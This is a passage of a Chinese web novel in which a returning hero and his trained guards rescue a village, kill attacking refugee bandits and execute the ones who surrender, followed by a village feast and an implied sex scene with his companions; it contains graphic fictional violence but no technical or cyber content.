那两个流民被吼得一愣,随即看清了来人只是一个拿着木棍的普通村民,脸上顿时露出轻蔑的嘲笑。
然而,王大壮这豁出去的一声吼,却像一颗火星,点燃了某些人心中早已埋下的**。
几个正准备逃跑的村民,脚步猛地顿住。
其中一个就是王二柱的爹。
他们看着那个平日里懦弱无比的王大壮,此刻竟像个男人一样挺身而出。再看看他身后那三张梨花带雨、绝望无助的俏脸。
一股滚烫的热血,猛地从脚底板直冲天灵盖!
“**!跟他们拼了!”
“江夜兄弟对我们那么好,他不在家,我们不能让别人欺负他家的人!”
“对!不能当孬种!”
王二柱的爹怒吼一声,转身从旁边的草垛里抽出一把铁叉。另一个汉子则直接拆了路边一条板凳,抓着一条凳子腿冲了过来。
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转眼之间,五六个汉子,拿着各式各样的“家伙”,咬着牙,站到了王大壮的身后。
他们组成了一道防线,颤抖却坚定地挡在了那群如狼似虎的流民和瑟瑟发抖的女人之间。
独眼龙看着挡在身前的几个庄稼汉,就像看几只不知死活的螳螂,嘴角撇出一抹狞笑,满是不屑。
他甚至懒得亲自动手,只是将握着刀的手朝后随意一摆。
“打断他们的腿,别让这些苍蝇脏了老子的眼。”
话音未落,七八个流民便如疯狗般扑了上来,手中的木棍、铁条带着风声,朝着王大壮几人当头砸下。
“跟他们拼了!”
王大壮吼得嗓子都破了音,他用尽全身力气,将手中的木棍横扫出去。
“砰!”
木棍砸在一个流民的肩上,那流民晃了晃,脸上却露出更加凶残的表情。与此同时,另外两根棍子已经狠狠地砸在了王大壮的背上和腿上。
“噗!”
王大壮闷哼一声,腿一软,单膝跪倒在地,但他依旧死死咬着牙,用木棍撑着地,不肯倒下。
旁边,王二柱的爹和其他几个汉子的情况更加不堪。他们平日里只知道侍弄庄稼,哪里是这些亡命之徒的对手。
几声闷响,木棍断裂,铁叉脱手。几个汉子转眼就被打翻在地,蜷缩在雪地里,被乱棍如同雨点般殴打,口中发出痛苦的呻吟。
王大壮看着同伴倒下,双眼赤红,胸中的怒火与不甘仿佛要炸开。他狂吼一声,竟又挣扎着站了起来,想去扑倒离他最近的一个流民。
“还敢动?”
独眼龙眼中闪过一丝不耐,他大步上前,一脚狠狠踹在王大壮的胸口。
王大壮像个破麻袋一样倒飞出去,重重砸在雪地里,一大口鲜血从他嘴里喷出,将身下的白雪染得刺眼。
整个村口,瞬间只剩下流民们猖狂的笑声和女人们绝望的哭泣。
独眼龙一脚踩在王大壮的脸上,嫌恶地碾了碾,这才慢条斯理地朝着那三道瑟瑟发抖的绝美身影走去。
白梦夏、白梦秋和林间雪三女紧紧相拥,后背死死抵着冰冷的石碑,退无可退。
希望,在王大壮倒下的那一刻,就已彻底熄灭。
她们看着那个独眼龙一步步逼近,那张狰狞的脸,那只闪烁着淫邪与贪婪的独眼,还有他身上散发出的,混杂着血腥与馊臭的恶心气味,让她们的胃里翻江倒海,浑身冰冷。
“小娘子们,别怕啊。”
独眼龙咧开嘴,露出一口黄黑的牙,声音沙哑得像是砂纸在摩擦,“哥哥会好好疼你们的……”
他伸出那只布满老茧的大手,就径直抓向白梦夏那张泪痕斑斑的俏脸。
第151章抓住她们!
白梦夏看着那肮脏不堪的大手逼近,只觉得一阵阵反胃。
绝望,浸透了她的四肢百骸。
她不想死,可她更不能受辱。
她猛地抬手,从乌黑的发髻间拔下一根银簪,毫不犹豫地对准了自己白皙的咽喉。
与其被这群畜生玷污,不如自行了断,保全最后的清白。
她身旁的白梦秋和林间雪见状,瞬间明白了她的心意。两人眼中同样闪过一丝惨然的决绝,竟是不约而同地伸手,准备一同赴死。
“呵,还挺烈。”独眼龙看着三女宁死不从的模样,脸上的淫笑瞬间转为暴怒。他感觉自己的权威受到了挑衅。
“敬酒不吃吃罚酒!”他怒吼一声,朝身后的手下们挥了挥手,“给老子抓住她们!等老子玩完了,赏给兄弟们乐呵乐呵!”
“噢!!”
身后那群早已按捺不住的流民们,顿时发出一阵兴奋到扭曲的怪叫,一拥而上。
与此同时,山道尽头。
浩浩荡荡的队伍拉着几十架满载的雪橇,在深可及膝的积雪中艰难前行。
即将抵达村口,每个人的脸上都洋溢着收获的喜悦和回家的期待。
走在最前方的江夜,眉头却几不可察地微微一皱。
他停下脚步,侧耳倾听。
风雪的呼啸声中,似乎隐约夹杂着一些不正常的动静,像是哭喊声和尖叫声。
“嗷呜!”
还不等他细听,脚边的团子浑身的银**瞬间根根炸立,喉咙里发出一阵焦躁不安的低吼,猛地扭头,对着村庄的方向发出一阵急促而凶狠的狂吠。
不对劲!
村里出事了!
这个念头如闪电般划过江夜的脑海。
一股冰冷刺骨的恐怖煞气,猛地从他身上爆发开来,让他周围的空气都仿佛凝固了。
原本还沉浸在喜悦中的护院队众人,感受到这股恐怖气息,脸上的笑容瞬间僵住。
“全速回村!”
护院队众人一愣,当他们看到江夜那张冰冷到极致的侧脸时,所有人心中都是猛地一凛。
他们从未见过这样的江夜!
那是足以让神佛都为之战栗的暴怒!
“是!”
没有任何疑问,没有任何迟疑。
众人爆发出全部的力量,杀气腾腾地冲回稻花村。
“嗖!”
团子早已按捺不住,化作一道快到模糊的银色闪电,率先冲入了风雪之中。
江夜紧随其后,他的速度快得超出了想象,瞬间便将护院队甩在了身后。
稻花村口。
就在那几只肮脏的大手即将抓住三女的衣衫的瞬间。
“咻——”
一道尖锐到极致的破空声,仿佛撕裂了风雪,撕裂了所有人的耳膜,骤然响起!
“噗!”
冲在最前面的一个流民,脸上的淫笑还凝固着,他的喉咙处却猛地爆开一团血花。
一支通体漆黑的箭矢,从他后颈贯入,自喉结处穿出,带出一蓬滚烫的鲜血。
他捂着自己的脖子,满脸都是不敢置信的惊恐,直挺挺地向后倒去,重重砸在雪地里,抽搐了两下便没了动静。
这突如其来的一幕,让所有人都懵了。
正准备扑上去的流民们动作一僵,下意识地停下了脚步。
独眼龙脸上的暴怒也凝固了,他猛地回头,独眼死死地望向箭矢射来的方向。
白梦夏三女也愣住了,她们睁开眼,看着倒在脚下的尸体,一时没能反应过来发生了什么。
“咻!咻!咻!”
不等任何人反应,又是三道同样的破空声接连响起!
三支箭矢,仿佛长了眼睛,呈“品”字形,精准无比地射向另外三个冲在最前的流民。
“噗!噗!噗!”
又是三声利器入肉的闷响。
一个被射穿了眼窝,一个被洞穿了心脏,还有一个,箭矢从他张大的嘴巴里射了进去!
三具尸体,连惨叫都没能发出一声,便软软地倒了下去。
这下,所有流民和村民都骇然地循声望去。
只见村口雪地之中,一道身影由远及近,
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手持一张黑沉沉的强弓,正缓缓放下。
风雪吹动他额前的黑发,露出一双没有任何温度的眼睛,那眼神冰冷死寂,仿佛不是在看一群活人,而是在看一堆早已腐烂的尸体。
他就像一尊从九幽地狱走出的杀神,仅仅是站在那里,就让这漫天风雪都显得不再那么冰冷。
是江夜!
他身后,一阵整齐划一的脚步声传来,二十名护院,身着统一的厚实皮甲,腰挎寒光闪闪的制式佩刀,手持强弓,排成两列整齐的队列,无声无息地逼近。
他们脸上没有任何表情,眼神和江夜如出一辙的冰冷,浑身散发着一股只有从**堆里爬出来才有的铁血煞气。
这哪里是一群乡下护院?
这分明是一支百战精锐的军队!
村口瞬间陷入了死一般的寂静。
那些刚才还猖狂无比的流民,此刻看着这支煞气凛然的队伍,看着为首那个神情冰冷的男人,脸上的嚣张和淫邪瞬间褪得一干二净,取而代之的是一种发自骨子里的恐惧。
他们这群乌合之众,和对方一比,简直就是一群拿着木棍的叫花子,在面对朝廷的正规军!
短暂的死寂之后,绝望的村民们率先反应过来。
“是江夜!是江夜兄弟回来了!”
“老天开眼啊!江夜兄弟回来了!”
不知是谁第一个喊出声,随即,整个村**发出劫后余生的狂喜和哭喊。
村口石碑旁,那三道紧紧相拥的绝美身影,在看到江夜出现的那一刻,紧绷到极致的神经,终于“啪”的一声,彻底断裂。
白梦夏手中那根准备自尽的银簪,从无力的指间滑落,、身体一软,整个人瘫倒下去。
若不是白梦秋和林间雪下意识地死死抱住她,她恐怕已经滑落在地。
三女再也支撑不住,靠着冰冷的石碑,缓缓滑坐在雪地里,相拥在一起,泪水如同决堤的洪水,汹涌而出,泣不成声。
他回来了。
她们的男人,回来了。
这就够了。
第152章 神佛难渡
独眼龙被这突如其来的阵仗,骇得心脏都漏跳了一拍。
那整齐划一的队列,那扑面而来的铁血煞气,无一不在冲击着他那点可怜的见识。这哪里是乡下农户?这分明是百战余生的边军精锐!
然而,短暂的惊惧过后,极致的贪婪与亡命之徒的凶性,瞬间压倒了理智。
他看到了江夜等人身后,那几十架被积雪覆盖、却依旧能看出装得满满当当猎物的雪橇。
那是肉!是粮食!
在这天灾人祸的年头,那就是命!
“怕什么!”独眼龙的独眼瞬间布满血丝,脸上那道蜈蚣般的刀疤疯狂扭曲,他将手中的大刀向前一挥,“他们就二十几个人!我们有五十个!干掉他们,车上的肉、粮食、还有这些娘们儿,就全都是我们的!”
重赏之下,那群被吓住的流民眼中重新燃起了嗜血的凶光。他们本就是烂命一条,早就没了退路。
“杀啊!”
“抢粮食!抢娘们儿!”
流民们怪叫着,挥舞着手中五花八门的武器,再次鼓起勇气,朝着江夜等人冲了过来。
江夜看着这群冲来的人,看着他们脸上那贪婪又愚蠢的表情,眼神没有丝毫波动。
他的目光,越过这群乌合之众,落在了村口石碑旁,那三道瑟瑟发抖的绝美身影上。
心,像是被一只无形的大手狠狠攥住,疼得他几乎无法呼吸。
那股从骨髓深处升腾起的暴怒与杀意,几乎要将他的理智焚烧殆尽。
他缓缓抬起手,对着身后那二十名早已杀气盈野的护院,从牙缝里,冰冷地挤出一个字。
“杀。”
王囤第一个反应过来,他那张憨厚的脸此刻布满了狰狞的杀气,胸中的怒火早已积攒到了顶点。
“杀光这群畜生!”
他拔出腰间的制式佩刀,狠狠地迎着人潮冲了上去。
“杀!”
身后,二十名护院齐声怒吼,声浪几乎要掀翻天上的风雪。
随着王囤的冲锋,二十人瞬间分化为六个三人小组和一个两人小组,结成一个个锋锐无比的三角战阵,狠狠地凿进了流民那混乱不堪的阵型之中。
一边是训练有素、装备精良、喝过虎骨酒,体力与力量远超常人的精锐。
另一边,则是一群食不果腹、全凭一股血勇的乌合之众。
战斗,从接触的那一刻起,就呈现出了一面倒的**。
“噗嗤!”
王囤一马当先,手中的佩刀划出一道雪亮的弧线,一个冲在最前的流民甚至没看清刀光,脖子便被整个切开,硕大的头颅冲天而起,腔子里喷出的血柱高达半丈。
他身后的两个护院配合默契,一人持刀格挡开侧面袭来的木棍,另一人则毫不犹豫地一刀捅出,精准地刺穿了另一个流民的心窝。
一个三角战阵,就是一个小型的绞肉机。
刀光翻飞,血肉横飞。
护院们三人一组,进退有据,一人主攻,两人策应,手中的佩刀上下翻飞,每一次挥砍,每一次突刺,都带走一条鲜活的生命。
流民们手中的木棍、锈刀,砍在护院们厚实的皮甲上,只能发出一声闷响,根本无法造成有效的伤害。而护院们手中的利刃,却能轻易地切开他们的血肉,斩断他们的骨骼。
“啊——我的手!”
“救命!救命啊!”
凄厉的惨叫声此起彼伏,不绝于耳。
砍瓜切菜。
这就是一场单方面的高效而冷酷的屠戮。
刚才还喧嚣震天的村口,此刻只剩下兵刃入肉的闷响和流民们垂死前的哀嚎。
那群刚刚还沉浸在劫后余生喜悦中的村民们,此刻全都呆立在原地,集体失声。
他们张大了嘴巴,满脸震撼与敬畏地看着眼前这血腥的一幕。
这就是江夜的护院队?
这就是那群平日里在村口训练,被他们看作是“瞎折腾”的汉子?
他们**,就像屠夫杀猪宰羊一样干脆利落,没有丝毫的犹豫和多余的动作。那冰冷的眼神,那默契的配合,那高效的杀戮,让所有村民的灵魂都在颤抖。
人群中,王翠花瘫坐在雪地里,脸色惨白如纸,裤裆处传来一阵骚臭,竟是直接被吓尿了。
而被独眼龙一脚踹翻的王大壮,此刻正靠在墙角,他捂着剧痛的胸口,看着眼前这如同神兵天降的护院队,看着那群刚才还不可一世的流民如同猪狗般被屠戮,胸中的憋屈与怨气一扫而空,取而代之的是一种酣畅淋漓的快意。
他咧开嘴,笑着笑着,血沫混着泪水就流了下来。
独眼龙彻底懵了。
他看着自己的手下一个接一个地倒下,看着那二十个如同杀神般的护院在人群中肆意冲杀
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,一股寒气从脚底板直冲天灵盖。
他知道,自己踢到铁板了,一块能把他碾成肉泥的铁板!
跑!
这个念头瞬间占据了他的脑海。
然而,就在他准备转身逃跑的瞬间,他的独眼瞥见了不远处石碑下,那三道梨花带雨的绝美身影。
一丝极致的狠厉,在他眼中闪过。
只要抓住一个当人质,他或许还有一线生机!
独眼龙心一横,不退反进,怒吼一声,整个人如同一头疯牛,朝着离他最近的林间雪猛地扑了过去。
林间雪三女刚刚从绝望中缓过神来,还没来得及感受重逢的喜悦,就看到那张狰狞的面孔再次扑来,吓得俏脸瞬间没了血色。
然而,独眼龙刚一动。
一直站在原地,如同雕塑般的江夜,身影骤然消失。
快!
快到极致!
在场没有任何人能看清他的动作,独眼龙只觉得眼前一花,一股让他灵魂都在战栗的恐怖气息已然将他笼罩。
他甚至来不及做出任何反应,一只手已经铁钳般扼住了他的喉咙,将他那壮硕的身体,如同抓小鸡一般,轻而易举地提离了地面。
“呃……嗬……”
所有的声音都卡在了喉咙里。
独眼龙的双脚在半空中疯狂地乱蹬,手中的大刀“哐当”一声掉在雪地里,他双手死死地抓住那只扼住他命运的手,想要将其掰开,却发现那只手纹丝不动,坚硬得不似血肉之躯。
窒息感,如同潮水般涌来。
他的脸因为缺氧而涨成了诡异的紫红色,独眼里写满了比死亡本身更加浓烈的恐惧与不敢置信。
他看到了江夜的脸。
那是一张没有任何表情的脸,那双眼睛里,没有愤怒,没有怜悯,只有一片死寂的虚无。
江夜面无表情地看着在他手中垂死挣扎的独眼龙,手臂,微微用力。
“咔嚓!”
一声清脆得令人牙酸的骨裂声,在寂静的村口清晰地响起。
独眼龙的挣扎,瞬间停止。
他的脑袋,以一个诡异的角度歪向一边,那只圆瞪的独眼里,还残留着极致的恐惧与茫然。
江夜松开手,就像扔掉一件肮脏的垃圾,随手将他的尸体扔在了雪地里,发出一声沉闷的声响。
整个世界,仿佛都在这一刻,彻底安静了下来。
第153章 全村开宴
剩下的那几十个流民,眼睁睁看着自己的首领被人像捏死一只鸡仔般拧断了脖子,最后那点亡命之徒的凶悍,终于被恐惧彻底碾碎。
“噗通!”
不知是谁第一个带头,剩下的人反应过来,哭爹喊娘地丢掉了手里的破烂武器,争先恐后地跪倒在雪地里,把头磕得砰砰作响。
“好汉饶命!大侠饶命啊!”
“我们错了!我们再也不敢了!我们就是饿疯了才……”
“求求您,把我们当个屁放了吧!”
求饶声、哭嚎声混成一片,响彻村口。
然而,江夜的眼神没有丝毫的波动,依旧是那片死寂的冰冷。
怜悯?
当他们举起屠刀,冲向手无寸铁的村民时,当他们用淫邪的目光,看向自己女人的时候,他们就不配得到任何怜悯。
对敌人的仁慈,就是对自己的残忍。
他缓缓抬起眼,目光扫过那一张张涕泪横流、充满恐惧的脸,薄唇轻启,再次吐出一个冰冷刺骨的字。
“斩。”
这个字,不带一丝一毫的感情,却像九幽地狱吹来的寒风,让所有求饶的流民瞬间噤声,脸上凝固住极致的绝望。
“是!”
王囤等人轰然应诺。
他们没有丝毫的犹豫,手起刀落。
“噗嗤!”
“噗嗤!”
雪亮的刀光在昏暗的天色下连成一片,伴随着利刃入肉的沉闷声响,一颗颗头颅滚落在地,将洁白的雪地染成一片触目惊心的暗红。
刚才还跪地求饶的活人,转瞬间就变成了一具具冰冷的尸体。
风雪中,整个村口血流成河。浓郁到令人作呕的血腥味,在空气中疯狂弥漫。
但稻花村,安全了。
江夜缓缓转身,不再看身后那片人间地狱。
他的目光落在石碑下那三道相拥而泣的娇躯上,脸上那能冻结灵魂的冰冷煞气,如同春日下的冰雪,瞬间消融得无影无踪,化作了无尽的温柔与心疼。
他快步走过去,在那三个瑟瑟发抖的女孩面前蹲下身。
“我回来了,没事了。”
他的声音,是前所未有的轻柔。
白梦夏、白梦秋和林间雪抬起头,那三张梨花带雨的绝美脸庞上,还残留着未褪尽的惊恐与绝望。当她们看清江夜近在咫尺的脸,感受到他身上那令人安心的气息时,紧绷到极致的神经终于彻底断裂。
“呜……哇——!”
三女再也忍不住,猛地扑进江夜的怀里,将脸深深埋在他的胸膛,仿佛要将刚才所有的恐惧、委屈和绝望,都通过这撕心裂肺的哭声宣泄出来。
江夜什么也没说,只是伸出双臂,将三个在他怀里哭到浑身颤抖的女孩,紧紧地拥住。
他能感受到她们的颤抖,能感受到她们冰冷的体温,更能感受到她们那劫后余生的巨大悲恸。
他的心,像被刀割一样疼。
与此同时,村长拄着拐杖哆嗦着走到江夜面前。
他看着这个如神似魔的年轻人,看着他怀中哭得肝肠寸断的三个女孩,又回头看了看满地的尸体和劫后余生的村民。
老迈的身躯猛地一颤,“噗通”一声,竟是直挺挺地跪了下去。
“江夜……你……你是我们全村的救命恩人啊!”
村长声音嘶哑,老泪纵横,对着江夜,重重地磕下一个头。
“扑通!扑通!扑通!”
村长这一跪,仿佛一个信号。
他身后,所有幸存的稻花村村民,无论男女老少,此刻都回过神来,自发地,一片片地跪倒在地。
黑压压的人群,对着那个抱着三个女人的年轻男人,重重地磕下了头。
“谢江夜兄弟救命之恩!”
“谢江夜兄弟!”
带着哭腔的感谢声汇聚在一起,在风雪中回荡,充满了劫后余生的庆幸与发自肺腑的崇敬。
江夜抱着怀中哭泣的三女,只是对着村长的方向微微点了点头,算是回应。
他的目光扫过跪在地上的村民,最后落在了那个靠在墙角,被打得头破血流,却咧着嘴又哭又笑的汉子身上。
王大壮。
江夜的眼中,闪过一丝不易察觉的赞许。
匹夫一怒,血溅五步。
这个平日里懦弱无比的妻管严,在关键时刻,却能为了保护他的女人而挺身而出。
仅此一点,就值得他高看一眼。
等怀里的哭声终于变成了低低的抽泣,江夜才轻轻拍了拍她们的后背,站起身。
他目光扫过一张张惊魂未定的脸,朗声开口。
“王囤。”
“在!”
王囤立刻上前一步,身上还带着未干的血迹。
“让兄弟们把今天打的猎物都处理了。”
江夜顿了顿,看着所有村民,宣布道:
“今晚,全村开宴
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,大口吃肉,压惊!”
此言一出,整个村口瞬间陷入了死一般的寂静。
所有村民都愣住了,跪在地上,一动不动,怀疑自己是不是因为过度惊吓而出现了幻听。
吃肉?
全村开宴?
在这天灾人祸,连稀粥都喝不上的年头?
短暂的死寂之后,人群中不知是谁第一个反应过来,发出一声不敢置信的惊呼。
下一秒,山呼海啸般的欢呼声,猛地爆发开来!
“吃肉!江夜兄弟说要请全村吃肉!”
“老天爷啊!我们有救了!”
“呜呜呜……江夜兄弟是活菩萨啊!”
刚刚经历过生死大恐怖的村民们,此刻的情绪找到了一个宣泄口,喜悦与感激的泪水瞬间取代了恐惧,无数人一边欢呼,一边嚎啕大哭,场面混乱而又充满了希望。
王囤也是一愣,随即脸上露出狂喜,他重重一抱拳,声音洪亮如钟:“是!主人!”
他转身,对着同样兴奋不已的护院队大手一挥:“兄弟们,干活!把咱们的猎物,都拖进村!”
“噢!!”
护院队爆发出震天的吼声,转身向村外跑去。
村民们也自发地跟了上去,想要帮忙。
然而,当十几个巨大无比的雪橇,被汉子们嘿咻嘿咻地拖进村口时。
当所有人看清那雪橇上堆积如山的的野猪时。
整个稻花村,再次陷入了死一般的寂静。
所有村民,此刻全都像被施了定身法一般,集体石化。
他们一个个张大了嘴巴,眼睛瞪得像铜铃,死死地盯着眼前那几十头野猪堆成的“肉山”,大脑一片空白。
“这……这……”
一个老猎户伸出颤抖的手,指着那堆积如山的猎物,哆哆嗦嗦地,一句话都说不完整。
他这辈子打的猎,加起来,都没有眼前这一天的零头多!
“我的老天爷……”
“这……这得有多少肉啊?”
“上万斤……绝对有上万斤!”
短暂的死寂后,比刚才更加疯狂、更加炽热的欢呼声,如同火山喷发般,轰然炸响!
这一次,欢呼声里,再没有了劫后余生的悲怆,只剩下最纯粹的、最原始的狂喜与震撼!
看着那堆积如山的肉,再看看那个被三个绝色女子环绕的年轻男人,所有村民的眼中,除了崇拜与敬畏再无其他。
第154章 是条汉子
当晚,稻花村的空地上燃起了十几堆巨大的篝火,驱散了风雪带来的刺骨寒意。
火光映红了半边天,也映红了每一张劫后余生的脸。
一口口从各家凑来的大铁锅,里面大块大块的野猪肉在翻滚的汤汁中沉浮,被炖得软烂入味。
浓郁到化不开的肉香,混合着柴火的焦香,霸道地钻进每一个人的鼻孔,勾得人肚里的馋虫几乎要**。
白日里的血腥、**与恐惧,仿佛都被这温暖的火光和霸道的肉香彻底涤荡干净。
村民们,无论男女老少,都端着自家的破碗,围在篝火旁。
孩子们已经忘了白天的可怕,追逐打闹,手里抓着肉块,吃得满嘴流油,笑声清脆。而大人们,脸上还挂着未干的泪痕,眼中却闪烁着劫后余生的光芒。
“肉!是肉啊!我老婆子活了六十年,做梦都梦不到能吃上这么香的肉!”一个头发花白的老太太端着一碗肉汤,手抖得像筛糠,她先是递到小孙子的嘴边,看着他咕咚咕咚喝下几口,才自己小心翼翼地抿了一口,滚烫的肉汤下肚,眼泪却不争气地掉进了碗里。
“何止是香,这辈子都没吃过这么大块的肉!”一个壮汉用手抓起一块足有拳头大的肥瘦相间的肉块,顾不得烫嘴,狼吞虎咽地塞进嘴里,腮帮子鼓得像**,含糊不清地对着身边的人喊道,“老张,你哭个啥!今天该笑!要是没有江夜兄弟,咱们这会儿哪还有命吃肉,早被那帮天杀的畜生剁成肉泥,喂了狗了!”
这话一出,周围的欢声笑语瞬间一滞,随即化作了更加复杂的感慨。
所有人的目光,都不约而同地,带着最纯粹的敬畏与感激,投向了不远处。
那里,篝火的光芒勾勒出几道绝美的身影。
江夜没有和村民们一起喧闹,他只是安静地坐着,看着白梦夏、白梦秋和林间雪她们小口小口地吃着肉,时不时为她们夹上一块最嫩的,又细心地为她们剔去骨头,脸上的温柔能将这寒冬的冰雪都融化。
村民们看着这一幕,心中更是安定。
短暂的沉默后,一个汉子猛地站起身,将碗里的劣酒一饮而尽,对着江夜的方向,重重一抱拳,声音嘶哑地吼道:“我嘴笨,不会说话!我敬江夜兄弟!从今往后,我李二愣这条命就是江夜兄弟的!你让我往东,我绝不往西!”
“对!我们都敬江夜兄弟!”
“江夜兄弟就是我们的活菩萨!是老天爷派下来救我们的!”
呼喊声此起彼伏,村民们自发地端起碗,无论是酒是水,都朝着江夜的方向一饮而尽,动作虔诚而郑重。
江夜只是淡淡一笑,举起碗示意了一下,便将目光转向了人群的另一个方向。
他站起身,端着一碗酒,穿过欢庆的人群,每一步都走得很稳,所有喧嚣都在他身后退去。
他径直走到了一个最不起眼的角落。
那里,王大壮正一个人闷头吃肉,他身上还带着伤,脸上青一块紫一块,看起来有些狼狈,但眼神却亮得惊人。
全村人的目光,都跟随着江夜移动,窃窃私语声也随之响起。
“江夜兄弟找王大壮干啥?”
“不知道啊,这王大壮今天真是邪了门了,敢跟那帮流民动手……”
当看到江夜在王大壮面前停下时,整个场子瞬间安静下来。
王大壮察觉到周围的异样,茫然地抬起头,当看到江夜那双深邃的眼眸就近在咫尺地看着自己时,他吓得一个激灵,手里的碗差点掉在地上,手足无措地就想爬起来。
他以为江夜是来找他算旧账的,毕竟他婆娘王翠花以前可没少说江夜的坏话。
“坐着。”江夜的声音不大,却带着不容置疑的力量。
王大壮的身体僵在原地,一张饱经风霜的脸涨成了猪肝色,紧张得连呼吸都忘了。
江夜将手中的酒碗递了过去。
王大壮愣住了,他傻傻地看着那碗清冽的酒,又看看江夜,伸出手,却又在半空中停住,不敢去接。
“白日里,你不错。”江夜看着他,一字一句,缓缓开口,“是条汉子。”
轰!
简简单单的一句话,不带任何华丽的辞藻,却像一道惊雷,在王大壮的脑子里轰然炸响。
他呆呆地看着江夜,看着对方眼中那份不加掩饰的欣赏,一股热流猛地从胸口直冲眼眶,鼻子一酸,眼泪差点当场掉下来。
是条汉子……
他这辈子,从记事起,听得最多的就是王翠花的咒骂,村民的嘲笑。
“窝囊废”、“没出息”、“怕婆娘的软蛋”……
他从没想过,“汉子”这两个字,有一天会用在自己身上,而且还是从江夜嘴里说出来。
“王囤。”江夜没有再多说,转头喊了一声。
“在!”王囤立刻提着刀,像一阵风似的跑了过来。
“去,把那头最大的野猪王,割一条后腿下来,给王大壮兄弟。”
“是!”
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王囤洪声应诺,转身就走向那堆积如山的猎物。
全场瞬间哗然。
所有村民都倒吸一口凉气,目光齐刷刷地投向王大壮,眼神里充满了无法掩饰的羡慕。
那头野猪王有多大,他们可是亲眼所见,跟牛犊子似的!那一条后腿,少说也有四五十斤肉!
王大壮彻底懵了,他涨红了脸,连连摆手:“不……不行,江夜兄弟,这使不得,我……我没干啥……”
“拿着。”江夜的语气不容置喙,“你配得上。”
很快,王囤就扛着一条巨大无比的猪后腿走了回来,不由分说地塞进了王大壮的怀里。
沉甸甸的重量,让王大壮一个趔趄,他抱着那条比他婆娘还粗的猪腿,感受着上面传来的惊人热量和肉香,大脑一片空白,嘴唇哆嗦着,一个字也说不出来。
躲在人群最角落的王翠花,死死地捂住了自己的嘴,才没让自己惊呼出声。
她看着被众人用羡慕目光包围的丈夫,看着他怀里那条油光发亮的猪后腿,再低头看看自己碗里那几块分到的肉,复杂的情绪在她心中翻江倒海。她第一次觉得,自己那个窝囊废丈夫的背影,竟然有那么点……伟岸。
江夜没再理会激动的王大壮,他又走到了另外几个汉子面前。
这几人,正是之前跟着王大壮一起,抄起家伙冲上去的村民。
他们看到江夜走来,一个个紧张地站了起来,搓着手,脸上满是局促。
江夜同样没有多言,只是对着他们点了点头,示意王囤给他们每人都分了一大块十几斤重的五花肉。
“谢……谢江夜兄弟!”
几人抱着沉甸甸的猪肉,激动得满脸通红,对着江夜重重地鞠躬。
江夜的举动,被所有村民看在眼里。
赏罚分明,有功必赏!
这一刻,所有村民看着江夜的眼神,彻底变了。
如果说,之前的敬畏,是源于对他强大武力和滔天财富的恐惧。
那么现在,这份敬畏之中,又多了一份发自肺腑的崇拜与信服。
这个年轻人,不仅有神鬼莫测的手段,更有赏罚分明的公道和庇护一村的胸怀!
跟着这样的人,心里踏实!
篝火熊熊燃烧,肉香在风雪中飘出很远很远。
这一夜,稻花村的村民们,吃到了有生以来最丰盛的一顿饱饭。
他们心中的恐惧与绝望,被滚烫的肉汤彻底融化,取而代之的,是前所未有的安心。
第155章 温柔乡
宴席的喧嚣渐渐散去,篝火的余烬在风雪中发出最后的噼啪声。
稻花村的夜晚,从未如此安宁。
江夜婉拒了村长和村民们让他多留一会儿的热情,带着四个仍有些神思不属的女孩,踏着厚厚的积雪,向家中走去。
一路上,没有人说话。
白梦夏、白梦秋和林间雪三女,像是受惊的小兽,一左一右,一前一后,紧紧地挨着江夜,仿佛只要一松手,那份能将人吞噬的恐惧就会再次袭来。
慕容晴走在最后,她没有像其他三女那样黏着江夜,但那双平日里总是神采飞扬的美眸,此刻却紧紧锁定在江夜宽厚的背影上,目光中带着一丝她自己都未曾察觉的依赖。
白日里那血腥的一幕,对她的冲击同样巨大。
她见过厮杀,也亲手取过性命,但从未见过如江夜那般,谈笑间便决定几十人生死的淡漠与霸道。
那不是单纯的武力,而是一种凌驾于众生之上的绝对掌控力。
这种力量,让她心惊,更让她痴迷。
回到温暖的家中,将冰冷的风雪隔绝在外,几个女孩紧绷的身体才微微放松了一些。
卧房内,很有默契地开始忙碌起来。
氤氲的热气很快弥漫了整个房间,驱散了最后的寒意。
她们默默地走到江夜身前,为他宽衣解带。
江夜没有拒绝,他安静地享受着她们的服务。
水汽蒸腾,烛光摇曳,将四女的影子投在墙壁上,拉得长长的,微微晃动。
白梦夏跪坐在浴桶边,拿起柔软的布巾,沾湿了热水,轻轻地为江夜擦拭着宽厚的后背。
擦着,擦着,她的动作忽然一顿。
一滴滚烫的泪珠,毫无征兆地从她美得令人心颤的脸颊滑落,“啪嗒”一声,滴落在江夜的肩头,瞬间被热水冲散。
“今天……”
她的声音带着浓重的鼻音和无法抑制的哭腔,细若蚊呐,却在这寂静的房间里格外清晰。
“今天……我真的以为,再也见不到你了……”
一句话,仿佛打开了某种开关。
一直默默叠着衣服的白梦秋,肩膀开始剧烈地耸动,她猛地用手捂住嘴,压抑的呜咽声从指缝中漏出。
而本就胆小的林间雪,更是早已泪流满面,身体靠着床沿,抖得如同风中落叶。
江夜的心,像是被一只无形的大手狠狠攥住,猛地一痛。
他缓缓转过身,浴桶中的水因为他的动作而荡漾开来。
他没有说话,只是伸出湿漉漉的手臂,一把将离他最近,哭得最凶的白梦夏揽入怀中。
女孩娇柔的身躯在他怀里剧烈地颤抖着,仿佛要将白日里所有的惊恐与后怕,都化作泪水宣泄出来。
江夜低下头,在那光洁饱满的额头上,印下了一个无比郑重的一吻。
接着是白梦秋和林间雪,最后是站在那里,眼圈通红却倔强地不
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让眼泪掉下来的慕容晴,他将她们一个接一个地拥入怀中,
浴桶很大,却在此刻显得有些拥挤。
江夜被四个温香软玉的娇躯紧紧包围,感受着她们的颤抖,听着她们压抑的哭声,心中除了疼惜,更有滔天的怒火在燃烧。
他深吸一口气,用一种前所未有的郑重语气,一字一句地开口。
“我保证,以后,绝不会再让这种事情发生。”
江夜看着她们的眼睛,声音不大,却带着一种足以穿透灵魂的力量,
简单的一句话,却像是一道坚不可摧的堤坝,瞬间将她们心中所有的恐惧、不安和后怕,尽数阻拦在外。
哭声,渐渐停了。
四个女孩缓缓抬起头,那一张张梨花带雨的绝美脸庞上,还挂着晶莹的泪珠,但眼中的恐惧与后怕,却已经被一种名为“安心”的情绪彻底取代。
她们看着眼前的男人,看着他那双深邃如星空的眼眸里,满满的都是对她们的宠溺与爱怜。
心中,仿佛被某种滚烫的东西彻底填满。
下一秒,主动吻上了江夜的唇。
.................
水花四溅,春色无边。
这一夜,注定无眠。
卧房内的烛火,燃了整整一夜,直到天明才缓缓熄灭。
